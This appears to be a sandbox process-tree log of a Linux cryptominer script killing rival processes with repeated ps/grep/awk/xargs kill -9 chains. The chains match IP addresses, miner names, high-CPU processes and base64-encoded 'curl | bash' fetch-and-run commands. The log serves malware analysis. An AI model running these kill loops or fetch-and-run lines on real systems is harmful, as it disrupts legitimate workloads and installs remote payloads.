/bin/grepgrep -v grep2⤵PID:1047
-
-
/bin/psps aux2⤵PID:1046
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1057
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1056
-
-
/bin/grepgrep 45.76.122.922⤵PID:1055
-
-
/bin/grepgrep -v grep2⤵PID:1054
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1053
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1063
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1062
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1061
-
-
/bin/grepgrep -v grep2⤵PID:1060
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1059
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1070
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1069
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1068
-
-
/bin/grepgrep -v grep2⤵PID:1067
-
-
/bin/psps aux2⤵PID:1066
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1077
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1076
-
-
/bin/grepgrep 86s.jpg2⤵PID:1075
-
-
/bin/grepgrep -v grep2⤵PID:1074
-
-
/bin/psps aux2⤵PID:1073
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1083
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1082
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1081
-
-
/bin/grepgrep -v grep2⤵PID:1080
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1079
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1091
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1090
-
-
/bin/grepgrep nMrfmnRa2⤵PID:1089
-
-
/bin/grepgrep -v grep2⤵PID:1088
-
-
/bin/psps aux2⤵PID:1087
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1097
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1096
-
-
/bin/grepgrep PuNY5tm22⤵PID:1095
-
-
/bin/grepgrep -v grep2⤵PID:1094
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1093
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1107
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1106
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1105
-
-
/bin/grepgrep -v grep2⤵PID:1104
-
-
/bin/psps aux2⤵PID:1103
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1112
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1111
-
-
/bin/grepgrep AgdgACUD2⤵PID:1110
-
-
/bin/grepgrep -v grep2⤵PID:1109
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1108
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1119
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1118
-
-
/bin/grepgrep uiZvwxG82⤵PID:1117
-
-
/bin/grepgrep -v grep2⤵PID:1116
-
-
/bin/psps aux2⤵PID:1115
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1127
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1126
-
-
/bin/grepgrep -v grep2⤵PID:1124
-
-
/bin/grepgrep hahwNEdB2⤵PID:1125
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1123
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1133
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1132
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1131
-
-
/bin/grepgrep -v grep2⤵PID:1130
-
-
/bin/psps aux2⤵PID:1129
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1139
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1138
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1137
-
-
/bin/grepgrep -v grep2⤵PID:1136
-
-
/bin/psps aux2⤵PID:1135
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1144
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1142
-
-
/bin/grepgrep -v grep2⤵PID:1141
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1140
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1143
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1149
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1148
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1147
-
-
/bin/grepgrep -v grep2⤵PID:1146
-
-
/bin/psps aux2⤵PID:1145
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1154
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1153
-
-
/bin/grepgrep zXcDajSs2⤵PID:1152
-
-
/bin/grepgrep -v grep2⤵PID:1151
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1150
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1159
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1158
-
-
/bin/grepgrep 3lmigMo2⤵PID:1157
-
-
/bin/grepgrep -v grep2⤵PID:1156
-
-
/bin/psps aux2⤵PID:1155
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1164
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1163
-
-
/bin/grepgrep AkMK4A22⤵PID:1162
-
-
/bin/grepgrep -v grep2⤵PID:1161
-
-
/bin/psps aux2⤵PID:1160
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1169
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1168
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1167
-
-
/bin/grepgrep -v grep2⤵PID:1166
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1165
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1174
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1173
-
-
/bin/grepgrep HiPxCJRS2⤵PID:1172
-
-
/bin/grepgrep -v grep2⤵PID:1171
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1170
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1179
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1178
-
-
/bin/grepgrep http_0xCC0302⤵PID:1177
-
-
/bin/grepgrep -v grep2⤵PID:1176
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1175
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1184
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1183
-
-
/bin/grepgrep http_0xCC0312⤵PID:1182
-
-
/bin/grepgrep -v grep2⤵PID:1181
-
-
/bin/psps aux2⤵PID:1180
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1189
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1188
-
-
/bin/grepgrep http_0xCC0322⤵PID:1187
-
-
/bin/grepgrep -v grep2⤵PID:1186
-
-
/bin/psps aux2⤵PID:1185
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1194
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1193
-
-
/bin/grepgrep http_0xCC0332⤵PID:1192
-
-
/bin/grepgrep -v grep2⤵PID:1191
-
-
/bin/psps aux2⤵PID:1190
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1199
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1198
-
-
/bin/grepgrep C4iLM4L2⤵PID:1197
-
-
/bin/grepgrep -v grep2⤵PID:1196
-
-
/bin/psps aux2⤵PID:1195
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1204
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1203
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1202
-
-
/bin/grepgrep -v grep2⤵PID:1201
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1200
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1208
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1207
-
-
/bin/grepgrep -v grep2⤵PID:1206
-
-
/bin/psps aux2⤵PID:1205
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1213
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1212
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1211
-
-
/bin/grepgrep -v grep2⤵PID:1210
-
-
/bin/psps aux2⤵PID:1209
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1218
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1217
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1216
-
-
/bin/grepgrep -v grep2⤵PID:1215
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1214
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1223
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1222
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1221
-
-
/bin/grepgrep -v grep2⤵PID:1220
-
-
/bin/psps aux2⤵PID:1219
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1228
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1227
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1226
-
-
/bin/grepgrep -v grep2⤵PID:1225
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1224
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1233
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1232
-
-
/bin/grepgrep nqscheduler2⤵PID:1231
-
-
/bin/grepgrep -v grep2⤵PID:1230
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1229
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1238
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1237
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1236
-
-
/bin/grepgrep -v grep2⤵PID:1235
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1234
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1244
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1243
-
-
/bin/grepgrep "]"2⤵PID:1242
-
-
/bin/grepgrep -v aux2⤵PID:1241
-
-
/bin/grepgrep -v grep2⤵PID:1240
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1239
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1248
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1249
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1247
-
-
/bin/grepgrep -v grep2⤵PID:1246
-
-
/bin/psps aux2⤵PID:1245
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1254
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1253
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1252
-
-
/bin/grepgrep -v grep2⤵PID:1251
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1250
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1259
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1258
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1257
-
-
/bin/grepgrep -v grep2⤵PID:1256
-
-
/bin/psps aux2⤵PID:1255
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1266
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1265
-
-
/bin/grepgrep -v _2⤵PID:1264
-
-
/bin/grepgrep -v -2⤵PID:1263
-
-
/bin/grepgrep -v /2⤵PID:1262
-
-
/bin/grepgrep -v grep2⤵PID:1261
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1260
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1272
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1273
-
-
/bin/grepgrep "\\[^"2⤵PID:1271
-
-
/bin/grepgrep -v grep2⤵PID:1270
-
-
/bin/psps aux2⤵PID:1269
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1279
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1278
-
-
/bin/grepgrep rsync2⤵PID:1277
-
-
/bin/grepgrep -v grep2⤵PID:1276
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1275
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1285
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1284
-
-
/bin/grepgrep watchd0g2⤵PID:1283
-
-
/bin/grepgrep -v grep2⤵PID:1282
-
-
/bin/psps aux2⤵PID:1281
-
-
/bin/grepgrep -v grep2⤵PID:1289
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1288
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1291
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1290
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1292
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1290
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1290
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1290
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1290
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1290
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1290
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1299
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1298
-
-
/bin/grepgrep 158.69.133.18:82202⤵PID:1297
-
-
/bin/grepgrep -v grep2⤵PID:1296
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1295
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1306
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1305
-
-
/bin/grepgrep /tmp/java2⤵PID:1304
-
-
/bin/grepgrep -v grep2⤵PID:1303
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1302
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1312
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1311
-
-
/bin/grepgrep gitee.com2⤵PID:1310
-
-
/bin/grepgrep -v grep2⤵PID:1309
-
-
/bin/psps aux2⤵PID:1308
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1315
-
-
/bin/grepgrep /tmp/java2⤵PID:1317
-
-
/bin/grepgrep -v grep2⤵PID:1316
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1318
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1319
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1325
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1324
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1323
-
-
/bin/grepgrep -v grep2⤵PID:1322
-
-
/bin/psps aux2⤵PID:1321
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1332
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1331
-
-
/bin/grepgrep 89.35.39.782⤵PID:1330
-
-
/bin/grepgrep -v grep2⤵PID:1329
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1328
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1339
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1338
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1337
-
-
/bin/grepgrep -v grep2⤵PID:1336
-
-
/bin/psps aux2⤵PID:1335
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1344
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1343
-
-
/bin/grepgrep kthrotlds2⤵PID:1342
-
-
/bin/grepgrep -v grep2⤵PID:1341
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1340
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1351
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1350
-
-
/bin/grepgrep ksoftirqds2⤵PID:1349
-
-
/bin/grepgrep -v grep2⤵PID:1348
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1347
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1358
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1357
-
-
/bin/grepgrep netdns2⤵PID:1356
-
-
/bin/grepgrep -v grep2⤵PID:1355
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1354
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1364
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1363
-
-
/bin/grepgrep watchdogs2⤵PID:1362
-
-
/bin/grepgrep -v grep2⤵PID:1361
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1360
-
-
/bin/grepgrep -v kdevtmpfsi2⤵PID:1374
-
-
/bin/grepgrep -v atd2⤵PID:1373
-
-
/bin/grepgrep -v apache22⤵PID:1372
-
-
/bin/grepgrep -v postgresq12⤵PID:1375
-
-
/bin/grepgrep -v dblaunched2⤵PID:1371
-
-
/bin/grepgrep -v dblaunchs2⤵PID:1370
-
-
/bin/grepgrep -v dblaunch2⤵PID:1369
-
-
/usr/bin/awkawk "\$3>80.0{print \$2}"2⤵PID:1376
-
-
/bin/grepgrep -v root2⤵PID:1368
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1377
-
-
/bin/grepgrep -v grep2⤵PID:1367
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1366
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1385
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1384
-
-
/bin/grepgrep " ps"2⤵PID:1383
-
-
/bin/grepgrep -v aux2⤵PID:1382
-
-
/bin/grepgrep -v grep2⤵PID:1381
-
-
/bin/psps aux2⤵PID:1380
-
-
/bin/grepgrep sync_supers2⤵PID:1390
-
-
/bin/grepgrep -v grep2⤵PID:1389
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1388
-
-
/usr/bin/cutcut -c 9-152⤵PID:1391
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1392
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1398
-
-
/usr/bin/cutcut -c 9-152⤵PID:1397
-
-
/bin/grepgrep cpuset2⤵PID:1396
-
-
/bin/grepgrep -v grep2⤵PID:1395
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1394
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1405
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1404
-
-
/bin/grepgrep "x]"2⤵PID:1403
-
-
/bin/grepgrep -v aux2⤵PID:1402
-
-
/bin/grepgrep -v grep2⤵PID:1401
-
-
/bin/psps aux2⤵PID:1400
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1411
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1410
-
-
/bin/grepgrep "sh] <"2⤵PID:1409
-
-
/bin/grepgrep -v aux2⤵PID:1408
-
-
/bin/grepgrep -v grep2⤵PID:1407
-
-
/bin/psps aux2⤵PID:1406
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1417
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1416
-
-
/bin/grepgrep " \\[]"2⤵PID:1415
-
-
/bin/grepgrep -v aux2⤵PID:1414
-
-
/bin/grepgrep -v grep2⤵PID:1413
-
-
/bin/psps aux2⤵PID:1412
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1422
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1421
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1420
-
-
/bin/grepgrep -v grep2⤵PID:1419
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1418
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1427
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1426
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1425
-
-
/bin/grepgrep -v grep2⤵PID:1424
-
-
/bin/psps aux2⤵PID:1423
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1432
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1431
-
-
/bin/grepgrep hahwNEdB2⤵PID:1430
-
-
/bin/grepgrep -v grep2⤵PID:1429
-
-
/bin/psps aux2⤵PID:1428
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1437
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1436
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1435
-
-
/bin/grepgrep -v grep2⤵PID:1434
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1433
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1442
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1441
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1440
-
-
/bin/grepgrep -v grep2⤵PID:1439
-
-
/bin/psps aux2⤵PID:1438
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1447
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1446
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1445
-
-
/bin/grepgrep -v grep2⤵PID:1444
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1443
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1452
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1451
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1450
-
-
/bin/grepgrep -v grep2⤵PID:1449
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1448
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1457
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1456
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1455
-
-
/bin/grepgrep -v grep2⤵PID:1454
-
-
/bin/psps aux2⤵PID:1453
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1462
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1461
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1460
-
-
/bin/grepgrep -v grep2⤵PID:1459
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1458
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1467
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1466
-
-
/bin/grepgrep sustse2⤵PID:1465
-
-
/bin/grepgrep -v grep2⤵PID:1464
-
-
/bin/psps aux2⤵PID:1463
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1472
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1471
-
-
/bin/grepgrep sustse32⤵PID:1470
-
-
/bin/grepgrep -v grep2⤵PID:1469
-
-
/bin/psps aux2⤵PID:1468
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1478
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1477
-
-
/bin/grepgrep wget2⤵PID:1476
-
-
/bin/grepgrep mr.sh2⤵PID:1475
-
-
/bin/grepgrep -v grep2⤵PID:1474
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1473
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1483
-
-
/bin/grepgrep curl2⤵PID:1482
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1484
-
-
/bin/grepgrep mr.sh2⤵PID:1481
-
-
/bin/grepgrep -v grep2⤵PID:1480
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1479
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1490
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1489
-
-
/bin/grepgrep wget2⤵PID:1488
-
-
/bin/grepgrep 2mr.sh2⤵PID:1487
-
-
/bin/grepgrep -v grep2⤵PID:1486
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1485
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1496
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1495
-
-
/bin/grepgrep curl2⤵PID:1494
-
-
/bin/grepgrep 2mr.sh2⤵PID:1493
-
-
/bin/grepgrep -v grep2⤵PID:1492
-
-
/bin/psps aux2⤵PID:1491
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1502
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1501
-
-
/bin/grepgrep wget2⤵PID:1500
-
-
/bin/grepgrep cr5.sh2⤵PID:1499
-
-
/bin/grepgrep -v grep2⤵PID:1498
-
-
/bin/psps aux2⤵PID:1497
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1508
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1507
-
-
/bin/grepgrep curl2⤵PID:1506
-
-
/bin/grepgrep cr5.sh2⤵PID:1505
-
-
/bin/grepgrep -v grep2⤵PID:1504
-
-
/bin/psps aux2⤵PID:1503
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1514
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1513
-
-
/bin/grepgrep wget2⤵PID:1512
-
-
/bin/grepgrep logo9.jpg2⤵PID:1511
-
-
/bin/grepgrep -v grep2⤵PID:1510
-
-
/bin/psps aux2⤵PID:1509
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1520
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1519
-
-
/bin/grepgrep curl2⤵PID:1518
-
-
/bin/grepgrep logo9.jpg2⤵PID:1517
-
-
/bin/grepgrep -v grep2⤵PID:1516
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1515
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1525
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1524
-
-
/bin/grepgrep j2.conf2⤵PID:1523
-
-
/bin/grepgrep -v grep2⤵PID:1522
-
-
/bin/psps aux2⤵PID:1521
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1531
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1530
-
-
/bin/grepgrep wget2⤵PID:1529
-
-
/bin/grepgrep luk-cpu2⤵PID:1528
-
-
/bin/grepgrep -v grep2⤵PID:1527
-
-
/bin/psps aux2⤵PID:1526
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1537
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1536
-
-
/bin/grepgrep curl2⤵PID:1535
-
-
/bin/grepgrep luk-cpu2⤵PID:1534
-
-
/bin/grepgrep -v grep2⤵PID:1533
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1532
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1543
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1542
-
-
/bin/grepgrep wget2⤵PID:1541
-
-
/bin/grepgrep ficov2⤵PID:1540
-
-
/bin/grepgrep -v grep2⤵PID:1539
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1538
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1549
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1548
-
-
/bin/grepgrep curl2⤵PID:1547
-
-
/bin/grepgrep ficov2⤵PID:1546
-
-
/bin/grepgrep -v grep2⤵PID:1545
-
-
/bin/psps aux2⤵PID:1544
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1555
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1554
-
-
/bin/grepgrep wget2⤵PID:1553
-
-
/bin/grepgrep he.sh2⤵PID:1552
-
-
/bin/grepgrep -v grep2⤵PID:1551
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1550
-
-
